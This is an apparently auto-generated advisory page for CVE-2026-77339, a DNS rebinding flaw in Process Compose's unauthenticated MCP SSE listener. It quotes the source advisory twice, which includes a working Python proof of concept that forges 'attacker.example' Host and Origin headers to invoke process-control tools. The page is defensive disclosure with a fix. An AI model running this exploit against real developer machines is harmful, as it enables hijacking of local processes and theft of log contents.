CVE-2026-77339: Process Compose Browser DNS Rebinding Lets Websites Vulnerability

MODERATE
Advisory Identifier: GHSA-5gm3-9crp-6g3v
CWE-306 CWE-346
Published
Advisory Summary

CVE-2026-77339 is a MODERATE browser dns rebinding lets websites vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Process Compose libraries in the Go ecosystem. The issue involves browser dns rebinding lets websites control local process-compose mcp tools. Remediation is available by upgrading affected packages to version 1.120.0.

CVE-2026-77339 at a Glance

CVE Identifier CVE-2026-77339
GHSA Identifier GHSA-5gm3-9crp-6g3v
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Process Compose
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-77339

To remediate this vulnerability, upgrade all affected Process Compose dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/f1bonacc1/process-compose fixed: 1.120.0
Upgrade github.com/f1bonacc1/process-compose to 1.120.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/f1bonacc1/process-compose

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77339, inspect your project dependencies for Process Compose:

inspect dependencies for github.com/f1bonacc1/process-compose

Analyze the terminal output to locate any version of Process Compose in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.120.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Process Compose, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools. This advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`. The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection. ## Affected Code Root cause: ```text src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted. src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field. src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address. src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener. ``` Impact surface: ```text src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools. src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs. src/mcp/control_tools.go:121-142 The registered tools return project and process state. ``` ## Reproduction Start process-compose from the affected commit with MCP SSE and built-in control tools enabled: ```bash workdir="$(mktemp -d)" cd "$workdir" git clone https://github.com/F1bonacc1/process-compose process-compose-target cd process-compose-target git checkout d56aa59df04b72f8644811ac581a051bec05e485 go build -o ./process-compose-poc . cat > process-compose-mcp-poc.yaml <<'YAML' mcp_server: host: 127.0.0.1 port: 8081 transport: sse expose_control_tools: true processes: sleeper: command: "sleep 600" disabled: true YAML PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \ -f ./process-compose-mcp-poc.yaml \ -t=false \ --no-server \ --keep-project \ --log-file ./process-compose-mcp-poc.log ``` In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener: ```bash python3 - <<'PY' import http.client import json import queue import threading import time import urllib.parse host = "127.0.0.1" port = 8081 attacker_host = "attacker.example:8081" origin = "http://attacker.example:8081" headers = { "Host": attacker_host, "Origin": origin, "Accept": "text/event-stream", } events = queue.Queue() def read_sse(resp): event = None data = None while True: line = resp.readline() if not line: return text = line.decode("utf-8", "replace").strip() if text.startswith("event:"): event = text.split(":", 1)[1].strip() elif text.startswith("data:"): data = text.split(":", 1)[1].strip() elif text == "" and (event or data): events.put((event, data)) event = None data = None conn = http.client.HTTPConnection(host, port, timeout=10) conn.request("GET", "/sse", headers=headers) resp = conn.getresponse() print("GET /sse", resp.status) print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin")) threading.Thread(target=read_sse, args=(resp,), daemon=True).start() endpoint = None deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "endpoint": endpoint = data break assert endpoint, "no SSE endpoint event" print("endpoint", endpoint) def post(message): parsed = urllib.parse.urlparse(endpoint) path = parsed.path + ("?" + parsed.query if parsed.query else "") body = json.dumps(message).encode() c = http.client.HTTPConnection(host, port, timeout=10) c.request("POST", path, body=body, headers={ "Host": attacker_host, "Origin": origin, "Content-Type": "application/json", "Content-Length": str(len(body)), "Authorization": "Bearer invalid-replay-token", }) r = c.getresponse() r.read() c.close() print("POST", message.get("method"), r.status) def wait_result(rpc_id): deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "message" and data: msg = json.loads(data) if msg.get("id") == rpc_id: return msg raise SystemExit(f"no result for id {rpc_id}") post({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "rebind-poc", "version": "1.0.0"} } }) print(json.dumps(wait_result(1), indent=2)) post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}) post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}) tools = wait_result(2) names = [tool["name"] for tool in tools["result"]["tools"]] print("tools", names) post({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "pc_process_list", "arguments": {} } }) print(json.dumps(wait_result(3), indent=2)) PY ``` ## Observed Result The MCP SSE listener accepted the forged browser-origin request shape: ```text Host: attacker.example:8081 Origin: http://attacker.example:8081 Authorization: Bearer invalid-replay-token ``` The server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler. The operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning: ```json { "data": [ { "name": "sleeper", "namespace": "default", "status": "Disabled", "system_time": "-", "age": 0, "is_ready": "-", "has_ready_probe": false, "restarts": 0, "exit_code": 0, "pid": 0, "is_elevated": false, "password_provided": false, "mem": 0, "cpu": 0, "is_running": false } ] } ``` Earlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint. ## Impact A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token. With `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output. Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project. ## Suggested Fix Add a target-side trust boundary to the MCP SSE listener before MCP dispatch: 1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name. 2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin. 3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint. 4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports. 5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.

CVE-2026-77339 Affected Process Compose Versions

1 component(s)
Fixed Versions:
1.120.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/f1bonacc1/process-compose
Go
< 1.120.0
1.120.0

References

Frequently Asked Questions

What is CVE-2026-77339?
CVE-2026-77339 is a security vulnerability in Process Compose involving Browser DNS rebinding lets websites control local process-compose MCP tools under CWE-306: Missing Authentication for Critical Function.
Which Process Compose versions are affected?
Affected versions include releases prior to 1.120.0 across affected packages: github.com/f1bonacc1/process-compose.
What version fixes CVE-2026-77339?
Upgrading to 1.120.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/f1bonacc1/process-compose affected?
Yes, github.com/f1bonacc1/process-compose is affected in releases prior to 1.120.0. Upgrade your dependency to 1.120.0 or later.
What CWE is associated with CVE-2026-77339?
CVE-2026-77339 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for CVE-2026-77339?
Run the dependency tree command: 'inspect dependencies for github.com/f1bonacc1/process-compose'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gm3-9crp-6g3v",
  "modified" : "2026-09-18T17:17:51Z",
  "published" : "2026-09-18T17:17:51Z",
  "aliases" : [ "CVE-2026-77339" ],
  "summary" : "Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools",
  "details" : "## Summary\n\nA malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.\n\nThis advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`.\n\nThe issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.\n\n## Affected Code\n\nRoot cause:\n\n```text\nsrc/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.\nsrc/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.\nsrc/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.\nsrc/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.\n```\n\nImpact surface:\n\n```text\nsrc/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.\nsrc/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.\nsrc/mcp/control_tools.go:121-142 The registered tools return project and process state.\n```\n\n## Reproduction\n\nStart process-compose from the affected commit with MCP SSE and built-in control tools enabled:\n\n```bash\nworkdir=\"$(mktemp -d)\"\ncd \"$workdir\"\ngit clone https://github.com/F1bonacc1/process-compose process-compose-target\ncd process-compose-target\ngit checkout d56aa59df04b72f8644811ac581a051bec05e485\n\ngo build -o ./process-compose-poc .\n\ncat > process-compose-mcp-poc.yaml <<'YAML'\nmcp_server:\n  host: 127.0.0.1\n  port: 8081\n  transport: sse\n  expose_control_tools: true\n\nprocesses:\n  sleeper:\n    command: \"sleep 600\"\n    disabled: true\nYAML\n\nPC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \\\n  -f ./process-compose-mcp-poc.yaml \\\n  -t=false \\\n  --no-server \\\n  --keep-project \\\n  --log-file ./process-compose-mcp-poc.log\n```\n\nIn a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener:\n\n```bash\npython3 - <<'PY'\nimport http.client\nimport json\nimport queue\nimport threading\nimport time\nimport urllib.parse\n\nhost = \"127.0.0.1\"\nport = 8081\nattacker_host = \"attacker.example:8081\"\norigin = \"http://attacker.example:8081\"\nheaders = {\n    \"Host\": attacker_host,\n    \"Origin\": origin,\n    \"Accept\": \"text/event-stream\",\n}\n\nevents = queue.Queue()\n\ndef read_sse(resp):\n    event = None\n    data = None\n    while True:\n        line = resp.readline()\n        if not line:\n            return\n        text = line.decode(\"utf-8\", \"replace\").strip()\n        if text.startswith(\"event:\"):\n            event = text.split(\":\", 1)[1].strip()\n        elif text.startswith(\"data:\"):\n            data = text.split(\":\", 1)[1].strip()\n        elif text == \"\" and (event or data):\n            events.put((event, data))\n            event = None\n            data = None\n\nconn = http.client.HTTPConnection(host, port, timeout=10)\nconn.request(\"GET\", \"/sse\", headers=headers)\nresp = conn.getresponse()\nprint(\"GET /sse\", resp.status)\nprint(\"Access-Control-Allow-Origin:\", resp.getheader(\"Access-Control-Allow-Origin\"))\nthreading.Thread(target=read_sse, args=(resp,), daemon=True).start()\n\nendpoint = None\ndeadline = time.time() + 10\nwhile time.time() < deadline:\n    event, data = events.get(timeout=1)\n    if event == \"endpoint\":\n        endpoint = data\n        break\nassert endpoint, \"no SSE endpoint event\"\nprint(\"endpoint\", endpoint)\n\ndef post(message):\n    parsed = urllib.parse.urlparse(endpoint)\n    path = parsed.path + (\"?\" + parsed.query if parsed.query else \"\")\n    body = json.dumps(message).encode()\n    c = http.client.HTTPConnection(host, port, timeout=10)\n    c.request(\"POST\", path, body=body, headers={\n        \"Host\": attacker_host,\n        \"Origin\": origin,\n        \"Content-Type\": \"application/json\",\n        \"Content-Length\": str(len(body)),\n        \"Authorization\": \"Bearer invalid-replay-token\",\n    })\n    r = c.getresponse()\n    r.read()\n    c.close()\n    print(\"POST\", message.get(\"method\"), r.status)\n\ndef wait_result(rpc_id):\n    deadline = time.time() + 10\n    while time.time() < deadline:\n        event, data = events.get(timeout=1)\n        if event == \"message\" and data:\n            msg = json.loads(data)\n            if msg.get(\"id\") == rpc_id:\n                return msg\n    raise SystemExit(f\"no result for id {rpc_id}\")\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"rebind-poc\", \"version\": \"1.0.0\"}\n    }\n})\nprint(json.dumps(wait_result(1), indent=2))\n\npost({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\npost({\"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/list\", \"params\": {}})\ntools = wait_result(2)\nnames = [tool[\"name\"] for tool in tools[\"result\"][\"tools\"]]\nprint(\"tools\", names)\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"pc_process_list\",\n        \"arguments\": {}\n    }\n})\nprint(json.dumps(wait_result(3), indent=2))\nPY\n```\n\n## Observed Result\n\nThe MCP SSE listener accepted the forged browser-origin request shape:\n\n```text\nHost: attacker.example:8081\nOrigin: http://attacker.example:8081\nAuthorization: Bearer invalid-replay-token\n```\n\nThe server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler.\n\nThe operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"sleeper\",\n      \"namespace\": \"default\",\n      \"status\": \"Disabled\",\n      \"system_time\": \"-\",\n      \"age\": 0,\n      \"is_ready\": \"-\",\n      \"has_ready_probe\": false,\n      \"restarts\": 0,\n      \"exit_code\": 0,\n      \"pid\": 0,\n      \"is_elevated\": false,\n      \"password_provided\": false,\n      \"mem\": 0,\n      \"cpu\": 0,\n      \"is_running\": false\n    }\n  ]\n}\n```\n\nEarlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint.\n\n## Impact\n\nA web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.\n\nWith `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.\n\nProcess logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.\n\n## Suggested Fix\n\nAdd a target-side trust boundary to the MCP SSE listener before MCP dispatch:\n\n1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name.\n2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin.\n3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint.\n4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.\n5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/f1bonacc1/process-compose"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.120.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/F1bonacc1/process-compose"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-346" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-18T17:17:51Z",
    "nvd_published_at" : null
  }
}